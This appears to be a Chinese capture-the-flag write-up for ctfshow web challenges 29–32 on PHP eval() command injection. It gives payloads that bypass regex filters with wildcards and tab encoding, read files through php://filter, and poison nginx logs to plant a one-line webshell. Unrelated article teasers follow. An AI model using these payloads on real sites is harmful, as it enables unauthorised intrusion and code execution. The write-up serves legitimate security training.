ctfshow——web入门——命令执行
web29命令执行需要严格的过滤?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-09-04 00:12:34 # Last Modified by: h1xa # Last Modified time: 2020-09-04 00:26:48 # email: h1xactfer.com # link: https://ctfer.com */ error_reporting(0); if(isset($_GET[c])){ $c $_GET[c]; if(!preg_match(/flag/i, $c)){ eval($c); } }else{ highlight_file(__FILE__); }函数学习 int preg_match ( string $pattern , string $subject [, array $matches [, int $flags 0 [, int $offset 0 ]]] )# #搜索subject与pattern给定的正则表达式的一个匹配。 eval执行命令分析代码 if(!preg_match(/flag/i, $c)) #要想进入if就要绕过正则匹配即不能出现flag #传入的变量c会进入到eval函数执行。 #因此需要在绕过正则匹配的前提下找到并读取flag1.先找到flag在哪?csystem(ls);#system是执行函数,也可以换成其他的执行函数passthru(要查看源代码、exec、shell_exec。 执行函数 string system( string $command[, int $return_var] ) #本函数执行 command 参数所指定的命令并且输出执行结果。 void passthru( string $command[, int $return_var] ) #passthru() 函数是用来执行外部命令command的。 string exec( string $command[, array $output[, int $return_var]] ) #exec() 执行 command 参数所指定的命令。 string shell_exec( string $cmd) #本函数同执行操作符。回显中有flag.php因此选择读取flag.php2.读取flag.php的内容?csystem(cat fla?.php)读取函数 cat从第一行开始显示内容并将所有内容输出 tac从最后一行倒序显示内容并将所有内容输出 more根据窗口大小一页一页地显示文件内容 less根据窗口大小显示文件内容可以使用键盘上的 [Pg Dn] 和 [Pg Up] 翻页 head用于显示文件的头几行 tail用于显示文件的尾几行 nl类似于 cat -n显示时输出行号 tailf类似于 tail -f实时显示文件尾部内容sort读取并排序文件内容通配符 * 匹配0个或多个字符 如:*.txt 匹配所有以txt为结尾的文件 ? 匹配单个字符 如:file?.txt 匹配file1.txt file2.txt file3.txt [] 匹配括号内的任意一个字符 如: file[1-3].txt 匹配file1.txt file2.txt [^] 匹配不在括号内的字符 如: file[^1-3].txt 匹配file4.txt file5.txt ! 表示取反 如:cat !(*.txt) 读取所有不是.txt结尾的文件web30?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-09-04 00:12:34 # Last Modified by: h1xa # Last Modified time: 2020-09-04 00:42:26 # email: h1xactfer.com # link: https://ctfer.com */ error_reporting(0); if(isset($_GET[c])){ $c $_GET[c]; if(!preg_match(/flag|system|php/i, $c)){ eval($c); } }else{ highlight_file(__FILE__); }本题多过滤了system和php因此可以替换掉system用通配符绕过php。例?cpassthru(cat fla*);web31?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-09-04 00:12:34 # Last Modified by: h1xa # Last Modified time: 2020-09-04 00:49:10 # email: h1xactfer.com # link: https://ctfer.com */ error_reporting(0); if(isset($_GET[c])){ $c $_GET[c]; if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\/i, $c)){ eval($c); } }else{ highlight_file(__FILE__); }发现没有限制passthru限制了空格用%09绕过空格经过url编码会变成%09?cpassthru(tac%09fla*);web32?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-09-04 00:12:34 # Last Modified by: h1xa # Last Modified time: 2020-09-04 00:56:31 # email: h1xactfer.com # link: https://ctfer.com */ error_reporting(0); if(isset($_GET[c])){ $c $_GET[c]; if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(/i, $c)){ eval($c); } }else{ highlight_file(__FILE__); }本题把分号也过滤了考虑url/?cinclude$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php还有一种方法日志注入url/?cinclude$_GET[1]?%3E1../../../../var/log/nginx/access.log/var/log/nginx/access.log是nginx默认的access日志路径访问该路径时在User-Agent中写入一句话木马然后用中国蚁剑连接即可

相关新闻

如何用Python-SoundDevice轻松玩转音频录制与播放

如何用Python-SoundDevice轻松玩转音频录制与播放

如何用Python-SoundDevice轻松玩转音频录制与播放 【免费下载链接】python-sounddevice :sound: Play and Record Sound with Python :snake: 项目地址: https://gitcode.com/gh_mirrors/py/python-sounddevice 第一部分:项目亮点速览 Python-SoundDevice 是…

2026/7/31 23:36:26 阅读更多 →
Open Generative AI:开源AI创作工具,让创意自由飞翔

Open Generative AI:开源AI创作工具,让创意自由飞翔

Open Generative AI:开源AI创作工具,让创意自由飞翔 【免费下载链接】Open-Generative-AI Unrestricted Open-source alternative to AI video platforms — Free AI image & video generation studio with 500 models (Flux, Midjourney, Kling, So…

2026/7/31 23:35:26 阅读更多 →
DLSS版本管理完全指南:3分钟掌握游戏性能优化技巧

DLSS版本管理完全指南:3分钟掌握游戏性能优化技巧

DLSS版本管理完全指南:3分钟掌握游戏性能优化技巧 【免费下载链接】dlss-swapper 项目地址: https://gitcode.com/GitHub_Trending/dl/dlss-swapper 还在为游戏画面闪烁、帧数不稳而烦恼吗?DLSS Swapper让你轻松掌控游戏图形技术,自由…

2026/7/31 23:35:26 阅读更多 →

最新新闻

CompressO终极指南:如何免费将视频图片压缩90%而不损失质量

CompressO终极指南:如何免费将视频图片压缩90%而不损失质量

CompressO终极指南:如何免费将视频图片压缩90%而不损失质量 【免费下载链接】compressO Convert any video/image into a tiny size. 100% free & open-source. Available for Mac, Windows & Linux. 项目地址: https://gitcode.com/gh_mirrors/co/compre…

2026/8/1 0:19:55 阅读更多 →
OpenCore Legacy Patcher终极指南:5步解决老Mac升级macOS新系统的完整操作方案

OpenCore Legacy Patcher终极指南:5步解决老Mac升级macOS新系统的完整操作方案

OpenCore Legacy Patcher终极指南:5步解决老Mac升级macOS新系统的完整操作方案 【免费下载链接】OpenCore-Legacy-Patcher Experience macOS just like before 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher 你是否还在为老Mac…

2026/8/1 0:19:55 阅读更多 →
5分钟完成QQ空间青春记忆永久备份的终极指南

5分钟完成QQ空间青春记忆永久备份的终极指南

5分钟完成QQ空间青春记忆永久备份的终极指南 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否曾经想找回那些年QQ空间里留下的青涩回忆?那些承载着青春印记的说说、照片…

2026/8/1 0:19:55 阅读更多 →
智能资源嗅探下载器:一键获取全网视频音频的自动化解决方案

智能资源嗅探下载器:一键获取全网视频音频的自动化解决方案

智能资源嗅探下载器:一键获取全网视频音频的自动化解决方案 【免费下载链接】res-downloader 视频号、小程序、抖音、快手、小红书、直播流、m3u8、酷狗、QQ音乐等常见网络资源下载! 项目地址: https://gitcode.com/GitHub_Trending/re/res-downloader 在数字…

2026/8/1 0:19:55 阅读更多 →
5秒破解百度网盘提取码难题:baidupankey智能工具完整指南

5秒破解百度网盘提取码难题:baidupankey智能工具完整指南

5秒破解百度网盘提取码难题:baidupankey智能工具完整指南 【免费下载链接】baidupankey 在线查询网盘提取码(维护中 rm repo) 项目地址: https://gitcode.com/gh_mirrors/ba/baidupankey 还在为频繁查找百度网盘分享链接的提取码而浪费…

2026/8/1 0:19:55 阅读更多 →
幻兽帕鲁终极存档修复指南:告别角色丢失,实现跨服务器无损迁移

幻兽帕鲁终极存档修复指南:告别角色丢失,实现跨服务器无损迁移

幻兽帕鲁终极存档修复指南:告别角色丢失,实现跨服务器无损迁移 【免费下载链接】palworld-host-save-fix Fixes the bug which forces a player to create a new character when they already have a save. Useful for migrating maps from co-op to ded…

2026/8/1 0:18:55 阅读更多 →

日新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/1 0:00:48 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/1 0:00:48 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/1 0:00:48 阅读更多 →

周新闻

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 数据集6000张 完整源码已标注数据集训练好的模型环境配置教程程序运行说明文档,可以直接使用!系统支持图片、视频、摄像头等多种方式检测裂缝,功能强大实用。 1数据集6000张 8各类别

2026/7/31 1:03:03 阅读更多 →
深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

pubg数据集 精选原图1.42万数据 1.49万标签 无任何重复、算法增强或冗余图像! pubg绝地求生目标检测数据集 1分类:e_body,14905个标签,txt格式 共计14244张图,99%为640*640尺寸图像 适合yolo目标检测、AI训练关键词&am…

2026/7/29 14:34:28 阅读更多 →
Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex检测数据集数据集详情检测类别: allies enemy tag图片总量:7247张训练集:5139张验证集:1425张测试集:683张标注状态:全部已标注,即拿即用数据格式:支持YOLO格式及其他格式&#…

2026/7/31 4:19:39 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/1 0:00:48 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/1 0:00:48 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/1 0:00:48 阅读更多 →